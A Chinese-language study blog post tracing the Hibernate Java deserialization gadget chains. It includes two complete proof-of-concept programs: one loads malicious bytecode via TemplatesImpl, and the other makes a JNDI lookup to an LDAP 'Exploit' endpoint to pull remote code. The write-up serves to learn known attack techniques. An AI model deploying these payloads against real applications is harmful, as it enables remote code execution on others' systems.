Hibernate利用链

Hibernate利用链

Hibernate 1

给出调用栈

HashMap.readObject()
    TypedValue.hashCode()
        ValueHolder.getValue()
            ValueHolder.DeferredInitializer().initialize()
                ComponentType.getHashCode()
		            PojoComponentTuplizer.getPropertyValue()
                        AbstractComponentTuplizer.getPropertyValue()
                            BasicPropertyAccessor$BasicGetter.get()/GetterMethodImpl.get()
                                TemplatesImpl.getOutputProperties()

这里分几个部分,思路清晰一点

1

漏洞点在

image-20240314171559670

能够反射执行方法

那我们看看这个method如何控制

image-20240314183122424

getGetterOrNull中首先调用getterMethod获取getter方法,然后在最后调用构造方法return一个BasicGetter对象,method在构造方法中被赋值

image-20240314183350585

2

因此现在的思路就是哪里会调用get方法,经过查找发现在抽象类org.hibernate.tuple.component.AbstractComponentTuplizer中定义了成员变量getters,并且通过getPropertyValue()方法调用get方法,而getPropertyValues()又调用了getPropertyValue()

image-20240314183647213

这里就继续找谁调用了getPropertyValues,并且这里AbstractComponentTuplizer由于是抽象类,我们先找他的实现类

image-20240314184008593

这里选择PojoComponentTuplizer,它会调用父类的getPropertyValues

image-20240314184737326

继续找谁调用了PojoComponentTuplizergetPropertyValues

image-20240314185832459

找到ComponentType

image-20240314185900606

然后参考的文章说该类的getHashCode会调用getPropertyValue

image-20240314190048959

疑惑

两个参考文章都说到这里,但是我们可以发现上面两张图调用的函数很明显不一样

一个是

image-20240314190339428

一个是

image-20240314190400090

我根据poc调试后发现走的是getPropertyValue,并且下一步直接走到了

image-20240314190652314

所以我的想法是componentTuplizer设置为PojoComponentTuplizer后,由于没有getPropertyValue方法,于是调用了父类的getPropertyValue,即AbstractComponentTuplizer

感觉这个解释其实也有问题,但是我的能力只能想到这些

3

继续找如何接上getHashCode

找到在TypedValue类中的initTransients是调用getHashcode了的

image-20240314191824703

TypedValue 初始化时,除了赋值 type、value 操作外,还调用了 initTransients 方法对 hashcode 属性进行了初始化

image-20240314193159860

初始化时新创建了一个 ValueHolder 对象,并为其赋予了一个新的 DeferredInitializer 对象并重写了 initialize() 方法

我们首先发现 TypedValue 的 hashCode() 方法调用了成员变量 hashcode.getValue() 方法,这个方法又会调用 DeferredInitializer 的 initialize() 方法,就是之前我们初始化的那个

image-20240314193246189

image-20240314193257977

这里也有点不理解是如何调用进去的

4

总而言之调用到hashCode函数即可,那很明显就是HashMap作入口

poc

即使知道了大概的调用顺序,想要写出poc也不是容易的事

package hibernate;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.type.Type;
import sun.reflect.ReflectionFactory;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

/**
 * Hello world!
 *
 */
public class Hibernate1 {

    public static String fileName = "Hibernate1.bin";
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        sc.setAccessible(true);
        return (T) sc.newInstance(consArgs);
    }
    public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }

    public static void main(String[] args) throws Exception {

        Class<?> componentTypeClass             = Class.forName("org.hibernate.type.ComponentType");
        Class<?> pojoComponentTuplizerClass     = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
        Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");


        // 生成包含恶意类字节码的 TemplatesImpl 类
        TemplatesImpl tmpl = new TemplatesImpl();
        byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\86136\\Desktop\\cc1\\target\\classes\\exp.class"));
        setFieldValue(tmpl, "_bytecodes", new byte[][]{bytecodes});
        setFieldValue(tmpl, "_name", "z");
        setFieldValue(tmpl, "_tfactory", new TransformerFactoryImpl());
        Method  method = TemplatesImpl.class.getDeclaredMethod("getOutputProperties");

        Object getter;
        try {
            // 创建 GetterMethodImpl 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
            Class<?>getterImpl  = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
            Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];
            constructor.setAccessible(true);
            getter = constructor.newInstance(null, null, method);
        } catch (Exception ignored) {
            // 创建 BasicGetter 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
            Class<?>       basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
            Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
            constructor.setAccessible(true);
            getter = constructor.newInstance(tmpl.getClass(), method, "outputProperties");
        }

        // 创建 PojoComponentTuplizer 实例,用来触发 Getter 方法
        Object tuplizer = createWithoutConstructor(pojoComponentTuplizerClass);

        // 反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里
        Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
        field.setAccessible(true);
        Object getters = Array.newInstance(getter.getClass(), 1);
        Array.set(getters, 0, getter);
        field.set(tuplizer, getters);

        // 创建 ComponentType 实例,用来触发 PojoComponentTuplizer 的 getPropertyValues 方法
        Object type = createWithoutConstructor(componentTypeClass);

        // 反射将相关值写入,满足 ComponentType 的 getHashCode 调用所需条件
        setFieldValue(type,"componentTuplizer",tuplizer);
        setFieldValue(type,"propertySpan",1);
        setFieldValue(type,"propertyTypes",new Type[]{(Type) type});

        // 创建 TypedValue 实例,用来触发 ComponentType 的 getHashCode 方法
        TypedValue typedValue = new TypedValue((Type) type, null);

        // 创建反序列化用 HashMap
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(typedValue, "su18");

        // put 到 hashmap 之后再反射写入,防止 put 时触发
        setFieldValue(typedValue,"value",tmpl);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashMap);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }

}

细节

image-20240314193649136

GetterMethodImpl

在 Hibernate 5.x 里,实现了 org.hibernate.property.access.spi.GetterMethodImpl 类,这个类能够替代 BasicPropertyAccessor$BasicGetter.get() 来调用 getter 方法。

Hibernate 2

。。。。其实就是把Templates改为JdbcRowSetImpl

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import javassist.ClassPool;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.type.Type;
import sun.reflect.ReflectionFactory;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;

/**
 * Hello world!
 *
 */
public class Hibernate2 {

    public static String fileName = "Hibernate1.bin";
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        sc.setAccessible(true);
        return (T) sc.newInstance(consArgs);
    }
    public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }

    public static void main(String[] args) throws Exception {

        Class<?> componentTypeClass             = Class.forName("org.hibernate.type.ComponentType");
        Class<?> pojoComponentTuplizerClass     = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
        Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");


        // 生成JdbcRowxxx
        JdbcRowSetImpl rs = new JdbcRowSetImpl();
        rs.setDataSourceName("ldap://127.0.0.1:9999/Exploit");
        Method method = JdbcRowSetImpl.class.getDeclaredMethod("getDatabaseMetaData");
        Object getter;
        try {
            // 创建 GetterMethodImpl 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
            Class<?>       getterImpl  = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
            Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];
            constructor.setAccessible(true);
            getter = constructor.newInstance(null, null, method);
        } catch (Exception ignored) {
            // 创建 BasicGetter 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
            Class<?>       basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
            Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
            constructor.setAccessible(true);
            getter = constructor.newInstance(rs.getClass(), method, "databaseMetaData");
        }

        // 创建 PojoComponentTuplizer 实例,用来触发 Getter 方法
        Object tuplizer = createWithoutConstructor(pojoComponentTuplizerClass);

        // 反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里
        Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
        field.setAccessible(true);
        Object getters = Array.newInstance(getter.getClass(), 1);
        Array.set(getters, 0, getter);
        field.set(tuplizer, getters);

        // 创建 ComponentType 实例,用来触发 PojoComponentTuplizer 的 getPropertyValues 方法
        Object type = createWithoutConstructor(componentTypeClass);

        // 反射将相关值写入,满足 ComponentType 的 getHashCode 调用所需条件
        setFieldValue(type,"componentTuplizer",tuplizer);
        setFieldValue(type,"propertySpan",1);
        setFieldValue(type,"propertyTypes",new Type[]{(Type) type});

        // 创建 TypedValue 实例,用来触发 ComponentType 的 getHashCode 方法
        TypedValue typedValue = new TypedValue((Type) type, null);

        // 创建反序列化用 HashMap
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(typedValue, "su18");

        // put 到 hashmap 之后再反射写入,防止 put 时触发
        setFieldValue(typedValue,"value",rs);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashMap);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }

}

finally

其实还是有好多不理解的地方,唉。。。

reference

https://su18.org/post/ysoserial-su18-3/

https://boogipop.com/2023/04/02/%E6%88%91%E6%9D%A5%E5%AF%B9Hibernate%E5%88%A9%E7%94%A8%E9%93%BE%E8%AF%B4%E4%B8%80%E4%BA%8C/


Hibernate利用链
https://zer0peach.github.io/2024/03/08/Hibernate利用链/
作者
Zer0peach
发布于
2024年3月8日
许可协议